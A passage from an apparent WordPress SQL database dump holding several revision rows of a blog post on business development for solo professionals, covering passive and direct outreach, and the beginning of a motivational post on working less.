Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-13', '', '', '2010-08-02 15:54:50', '2010-08-02 22:54:50', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-13/', 0, 'revision', '', 0),
(1017, 2, '2010-08-02 15:54:59', '2010-08-02 22:54:59', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-14', '', '', '2010-08-02 15:54:59', '2010-08-02 22:54:59', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-14/', 0, 'revision', '', 0),
(1019, 2, '2010-08-02 15:56:10', '2010-08-02 22:56:10', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-16', '', '', '2010-08-02 15:56:10', '2010-08-02 22:56:10', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-16/', 0, 'revision', '', 0),
(1020, 2, '2010-12-27 16:01:57', '2010-12-27 23:01:57', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="434" height="193" />\r\n<h2 style="text-align: left;">Many early stage entrepreneurs and solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-autosave', '', '', '2010-12-27 16:01:57', '2010-12-27 23:01:57', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-autosave/', 0, 'revision', '', 0);
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(1021, 2, '2010-08-02 16:00:46', '2010-08-02 23:00:46', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-17', '', '', '2010-08-02 16:00:46', '2010-08-02 23:00:46', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-17/', 0, 'revision', '', 0),
(1022, 2, '2010-05-09 11:58:27', '2010-05-09 18:58:27', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="225" height="225" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional wisdom that says people who don’t work hard achieve very little in life. </span></h2>\r\n<div id="body">\r\n\r\nAt first glance, you''re  probably thinking how can one achieve more and work less? It seems  counter-intuitive. Actually, this idea is more in line with the way the  universe operates. You don''t  have to work hard to create the result you desire.\r\n\r\nNature  operates with ease. All the complex principals associated with life  itself operate with ease. Your heart beats, your lungs breath, the  lilies don''t toil, the  seasons change, all of this is going on effortlessly. And so it is with  the realization of your desires and the accomplishment of your goals.  There is no need to toil through drudgery to get what you want.  Actually, the very idea of toil and drudgery is counter-productive to  the whole process of creation. Think about these ideas for moment:\r\n\r\n*  hard work has absolutely nothing to do with creating success\r\n\r\n*  hard work is not the basis for success\r\n\r\n* success is inversely  proportional to hard work\r\n\r\n* avoiding hard work has driven all  human progress\r\n\r\nAfter years of banging my head against the wall, I  have found the revelation that doing less, in an easy and relaxed way,  is the best means of creating what you want.\r\n\r\nFirst of all, no one  likes to "have to" do anything. When you say I "have to" pay my bills,  so I "have to" go to work to get the money... already you can sense the  despair and powerlessness in the very idea of "having to" do anything.  Desperation and powerlessness is fear, and you know that fear is not a  point of view that creates anything useful in life. When you "have to"  do anything, you are in a state of resistance. You are fighting the  natural flow by pointing yourself upstream, resisting.\r\n\r\nAfter a  couple of decades of this resistance, (think working hard) you can see  how we eventually burn-out, 